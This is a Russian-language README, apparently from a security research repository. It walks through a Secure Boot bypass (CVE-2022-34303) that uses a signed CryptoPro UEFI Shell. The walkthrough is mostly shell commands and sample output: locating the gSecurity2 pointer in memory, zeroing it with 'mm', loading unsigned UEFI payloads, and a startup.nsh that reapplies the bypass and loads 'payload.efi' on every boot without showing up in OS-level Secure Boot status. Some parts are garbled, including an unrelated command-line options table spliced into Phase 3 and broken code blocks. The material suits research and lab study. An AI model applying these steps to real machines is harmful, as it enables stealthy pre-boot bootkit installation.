
Демонстрирует обход Secure Boot через CVE-2022-34303 с использованием подписанной CryptoPro UEFI Shell, применяя команду mm для обнуления gSecurity2 и загрузки неподписанных UEFI-приложений.
CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - обход Secure Boot через подписанный UEFI Shell и повреждение gSecurity2.
Этот репозиторий демонстрирует технику BYOVUA (Bring Your Own Vulnerable UEFI Application) путём эксплуатации CVE-2022-34303 - уязвимости обхода Secure Boot в среде загрузки CryptoPro Secure Disk UEFI.
В данном случае компонентом, которому доверяет Secure Boot, является кастомный shim, подписанный Microsoft UEFI Third Party Certificate Authority. После запуска этот shim загружает UEFI Shell в качестве второй стадии, что открывает доступ к команде mm (memory modify) и, следовательно, предоставляет возможности произвольного чтения и записи памяти на этапе загрузки до запуска ОС.
Этот примитив затем может быть использован для поиска и обнуления глобального указателя gSecurity2 в ядре DXE. В результате последующая проверка UEFI-образов отключается, что позволяет загружать неподписанные UEFI-приложения, буткиты, несмотря на включённый Secure Boot.
BYOVUA - это UEFI-эквивалент техники BYOVD (Bring Your Own Vulnerable Driver), используемой на уровне ядра. Вместо того чтобы принести подписанный драйвер ядра с уязвимостью, атакующий приносит подписанное UEFI-приложение - в данном случае полноценный UEFI Shell - содержащее функциональность, способную подорвать Secure Boot.
Поскольку приложение - в данном случае кастомный shim, который загружает UEFI Shell в качестве второй стадии - подписано сертификатом, которому доверяет Microsoft, оно принимается Secure Boot без вопросов, что делает его доверенным на любой системе, включающей этот сертификат в свою базу данных Secure Boot (db) - то есть практически на любом UEFI-совместимом ПК, выпущенном за последнее десятилетие. После запуска его встроенные команды предоставляют атакующему прямой доступ к оборудованию и памяти, работающий до загрузки операционной системы, в среде, где современные средства защиты (ASLR, DEP, защиты ядра) попросту отсутствуют.
Shell_Full.efi - это UEFI Shell, распространяемый в составе CryptoPro Secure Disk, продукта для предзагрузочной аутентификации и шифрования диска.
| Свойство | Значение |
|---|
| Файл | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| Производитель | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| Подпись | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Обнаружение | Eclypsium (Mickey Shkatov, Jesse Michael) - август 2022 |
| Презентация | DEF CON 30 - "One Bootloader to Load Them All" |
| Отзыв | Добавлено в DBX через Microsoft KB5012170 (август 2022) |
Уязвимость - это не баг, а ошибка проектирования. UEFI Shell - это легитимные диагностические инструменты, которые никогда не предназначались для работы в средах Secure Boot. Однако, подписывая их сертификатом, которому доверяет Microsoft, и распространяя их в составе коммерческих продуктов, производители непреднамеренно создали подписанный обход Secure Boot.
Основная проблема: подписанный бинарник, которому доверяет Secure Boot, предоставляет неограниченные возможности чтения/записи памяти через свои встроенные команды. Это сочетание разрушает всю модель доверия Secure Boot.
Команда mm (memory modify) - это стандартная встроенная команда UEFI Shell, обеспечивающая прямой доступ на чтение и запись к системной памяти. Она описана в UEFI Shell Specification (раздел 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Параметр | Описание |
|-----------|-------------|
| `Address` | Целевой адрес памяти |
| `Value` | Значение для записи (опустите для режима только чтения) |
| `-w` | Ширина: 1, 2, 4 или 8 байт |
| `-MEM` | Доступ к системной памяти |
| `-MMIO` | Отображённый в память ввод-вывод (MMIO) |
| `-IO` | Доступ к портам ввода-вывода |
| `-n` | Неинтерактивный режим (без запроса следующего адреса) |
---
<div id='gsecurity2'/>
### ***gSecurity2 и архитектурный протокол безопасности***
Проверка образов Secure Boot в UEFI обеспечивается через [архитектурные протоколы безопасности](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), определённые в спецификации UEFI Platform Initialization (PI).
Ядро DXE (DxeMain) поддерживает глобальный указатель [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), который указывает на структуру `EFI_SECURITY2_ARCH_PROTOCOL`. Этот протокол содержит единственный указатель на функцию — `FileAuthenticationState` — которая вызывается `LoadImage()` каждый раз при загрузке образа UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
При вызове LoadImage() ядро DXE проверяет:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Установив `gSecurity2 = NULL`, проверка `if` завершается неудачей, и `FileAuthenticationState` никогда не вызывается. Проверка образа полностью пропускается — **Secure Boot остаётся «включённым», но больше не применяется**. Неподписанные UEFI-приложения после этого могут загружаться свободно.
Для глубокого технического понимания этой техники, включая специально созданное UEFI-приложение, которое автоматически находит и патчит gSecurity2, см. сопутствующий проект: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Параллель с ядерным BYOVD***
Структурная параллель между UEFI BYOVUA и ядерным BYOVD точна:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Обе атаки эксплуатируют один и тот же фундаментальный недостаток: подписанный компонент, которому доверяет механизм безопасности, предоставляет примитив, необходимый для отключения самого этого механизма.
Подписанный Shell_Full.efi размещается на EFI System Partition (ESP) и настраивается как вариант загрузки. Поскольку он подписан цепочкой сертификатов, которой доверяет Secure Boot, прошивка проверяет и загружает его без проблем.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***Фаза 2 — Перечисление дескрипторов протокола Security2***
Из оболочки UEFI цель — найти дескриптор, который предоставляет `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`), и получить адрес памяти его интерфейса протокола.
> **Примечание:** Команда `dh -p <GUID>` не распознаёт необработанные GUID в большинстве сборок EDK2 Shell — она распознаёт только зарегистрированные имена протоколов. Приведённый ниже подход работает в любой версии EDK2 Shell.
**Шаг 1 — Поиск дескриптора SecurityStubDxe**
Выведите список всех дескрипторов и найдите `SecurityStubDxe` — это DXE-драйвер, который устанавливает оба архитектурных протокола безопасности:```
Shell> dh
В выводе определите хэндл, загруженный как SecurityStubDxe:```
10: Image(SecurityStubDxe)
**Шаг 2 — Проверка соседних дескрипторов**
`SecurityStubDxe` устанавливает протоколы Security на отдельном дескрипторе, обычно на том, который идёт сразу после него. Эти дескрипторы выглядят пустыми в кратком списке, поскольку Shell не может сопоставить их GUID с понятными именами. Проверьте их в подробном режиме:```
Shell> dh -v 11
Ожидаемый вывод:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Если дескриптор `0x11` не содержит эти GUID, попробуйте `0x12` — точный номер дескриптора зависит от сборки прошивки.
**Шаг 3 — Запись адреса интерфейса**
Два протокола и их адреса интерфейсов:
| GUID | Протокол | Адрес интерфейса |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Адрес интерфейса Security2** (`0x3EE8C3A0` в этом примере) — это значение, хранимое глобальным указателем `gSecurity2` внутри DxeMain. Это значение необходимо для Фазы 3.
---
<div id='Phase3'/>
### ***Фаза 3 — Поиск gSecurity2 в памяти***
Переменная `gSecurity2` — это глобальный указатель внутри ядра DXE (`DxeMain`). Её значение равно адресу интерфейса протокола, найденному в Фазе 2. Цель — найти адрес памяти, по которому хранится этот указатель, — не значение указателя, а саму переменную.
**Шаг 1 — Получение структуры образа ядра DXE**```
Shell> dh -v 1
| --no-color | Отключить цветной вывод |
| --debug | Включить отладочный вывод |
| --quiet | Подавить весь вывод, кроме ошибок |
| --verbose | Включить подробный вывод |
| --version | Показать версию и выйти |
| --help | Показать справку и выйти |```
Handle 01 (3F4ECB18)
Image (3FEAFB08) File:DxeCore
ImageBase.....: 3FE94000 - 3FEBB000
ImageSize.....: 27000
Записать `ImageBase` (`0x3FE94000`).
**Шаг 2 — Разбор заголовков PE для поиска секции `.data`**
Секция `.data` содержит инициализированные глобальные переменные, включая `gSecurity2`. Вместо слепого сканирования всего образа разберите заголовки PE, чтобы найти точные границы `.data`.
Прочитайте заголовок MZ, чтобы получить смещение заголовка PE (DWORD по смещению `0x3C`):```
Shell> dmem <ImageBase> 100
В выводе посмотрите на смещение 0x3C от ImageBase. Например, если ImageBase равен 0x3FE94000:```
3FE9403C: C0 00 00 00
Это означает, что подпись PE находится по смещению `0xC0` от `ImageBase`.
**Шаг 3 — Чтение таблицы секций**
Смещение таблицы секций вычисляется как:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Прочитайте заголовок COFF, чтобы получить SizeOfOptionalHeader (WORD по адресу PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Для образа UEFI PE32+ (x64) `SizeOfOptionalHeader` обычно равен `0xF0`. В нашем примере:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Дамп таблицы секций (5 секций × 40 байт = 200 байт):``` Shell> dmem 3FE941C8 140
Каждая запись раздела занимает 40 байт:
| Смещение | Размер | Поле |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Найдите запись раздела `.data`. Пример вывода:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Вычислите абсолютные границы .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Шаг 4 — Поиск указателя на интерфейс в `.data`**
Найдите адрес интерфейса Security2 в порядке байтов little-endian в диапазоне `.data`. Для адреса интерфейса `0x3EE8C3A0` ищите:```
A0 C3 E8 3E 00 00 00 00
Сканирование блоками по 0x200 байт, начиная с data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Продолжайте проходить диапазон `.data`, пока не найдёте последовательность байтов. Указатели `gSecurity` (Security1) и `gSecurity2` (Security2) хранятся последовательно, поэтому ищите оба значения рядом друг с другом:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Совет: Раздел
.dataтакже содержит структуры EFI System Table (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). Указатели безопасности обычно располагаются после этих структур. Если вы заметите эти сигнатуры при сканировании, продолжайте — вы уже близко.
Шаг 5 — Подтверждение адреса
Проверьте, прочитав точное местоположение:``` Shell> dmem 3FEB0C08 10
Ожидаемый вывод:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
Адрес 0x3FEB0C08 — это место, где хранится gSecurity2 — цель для Фазы 4.
Как только адрес переменной gSecurity2 известен, одна команда mm отключает проверку Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Примечание:** Команда `mm` может не принимать префикс `0x` в аргументе адреса. Используйте шестнадцатеричный адрес напрямую.
Пример:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
Это записывает 8 байт нулей по указателю gSecurity2. Теперь ядро DXE пропустит все проверки верификации образов в LoadImage().
Чтобы проверить патч:``` Shell> dmem <gSecurity2_address> 10
Первые 8 байт должны быть `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Обратите внимание, что gSecurity (Security1, второй qword) остаётся нетронутым — обнуляется только Security2, чего достаточно для обхода проверки LoadImage().
После обнуления gSecurity2 можно загрузить любое UEFI-приложение независимо от статуса его подписи:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
Или используя `load` для драйверов:```
Shell> load fs1:\MyUnsignedDriver.efi
Операционная система ещё не запущена. Любое UEFI-приложение, загруженное на этом этапе, выполняется с полным доступом к оборудованию, до инициализации любых механизмов безопасности уровня ОС.
UEFI Shell автоматически выполняет startup.nsh из текущего каталога или корня ESP при каждом запуске. Закодировав патч mm в этом скрипте, обход Secure Boot выполняется автоматически при каждой загрузке:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Пример:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
Система продолжает сообщать, что Secure Boot «включён» — отключено только его исполнение во время выполнения. Это делает атаку невидимой для запросов состояния Secure Boot на уровне ОС.
Важно: Адрес
gSecurity2(0x3FEB0C08в этом примере) зависит от конкретной сборки прошивки. Если прошивка обновлена или перекомпилирована, адрес необходимо пересчитать, повторив фазы 2 и 3.
Поиск адреса gSecurity2 зависит от конкретной прошивки и должен повторяться всякий раз при обновлении или перекомпиляции прошивки. Общий процесс таков:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Эксплуатация***
Предлагаются два подхода:
**Подход A — патч FileAuthenticationState:** Перезаписывает первые 4 байта функции проверки на `xor rax, rax; ret` (`48 31 C0 C3`), заставляя её возвращать EFI_SUCCESS без выполнения каких-либо проверок. Этот подход использует команды `dh`, `dmem` и `mm` для разрешения указателя функции через интерфейс протокола Security2 и не требует поиска в памяти DxeMain.
**Подход B — обнуление указателя gSecurity2:** Находит глобальную переменную gSecurity2 в секции `.data` DxeMain и записывает в неё NULL. Это техника, описанная Eclypsium в раскрытии BombShell и реализованная программно в репозитории [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Этот подход требует разбора PE-заголовков DxeMain для нахождения границ секции `.data`, а затем ручного сканирования памяти с помощью `dmem` для определения адреса указателя.
Оба скрипта рассчитаны на пошаговое выполнение с пояснением каждой команды. Сначала запустите их в интерактивном режиме, а затем, когда правильные адреса для целевой прошивки будут известны, создайте `startup.nsh` для автоматического выполнения при каждой загрузке.
---
---
---
<div id='LabSetup'/>
## ***Настройка лаборатории***
### DBX (база данных запрещённых подписей)
Подписанная оболочка была добавлена в список отзыва Microsoft DBX через KB5012170 (август 2022). На обновлённых системах оболочка будет отклонена Secure Boot.
Для лабораторной среды нужна система, в которой:
- DBX не обновлена записью отзыва для этой конкретной оболочки
- Или DBX пуста (свежая виртуальная машина с ключами Secure Boot по умолчанию)
- Или вы используете среду QEMU/OVMF с пользовательской регистрацией ключей Secure Boot
[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) предоставляет автоматизированную настройку для этого.
### Альтернатива: любая подписанная оболочка UEFI с командой mm
Техника не специфична для `Shell_Full.efi`. Можно использовать любую оболочку UEFI, предоставляющую команду `mm` и подписанную доверенным сертификатом (Microsoft CA или сертификатом конкретного OEM). Как задокументировано в исследовании Eclypsium [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) (октябрь 2025), подписанные оболочки UEFI с опасными возможностями были обнаружены в продуктах нескольких производителей, включая ноутбуки Framework (затронуто около 200 000 устройств).
---
---
---
<div id='References'/>
## ***Ссылки***
### Непосредственно связанные
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) — кураторская коллекция известных уязвимых подписанных приложений UEFI
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) — глубокий технический анализ техники порчи gSecurity2, включая специально созданное приложение UEFI, которое автоматически находит и патчит указатель
### Исследования Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) — исследование использования подписанных оболочек UEFI для манипуляции памятью с помощью .nsh-скриптов
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) — оригинальное исследование Eclypsium, раскрывающее CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) — презентация Mickey Shkatov и Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) — исследование октября 2025, демонстрирующее атаку на gSecurity2 через команду mm на ноутбуках Framework (затронуто 200 тыс. устройств)
### Спецификации UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) — документация по командам mm и dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) — ссылка на исходный код глобального указателя gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) — официальное определение Security2 Architectural Protocol
### Уведомления
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)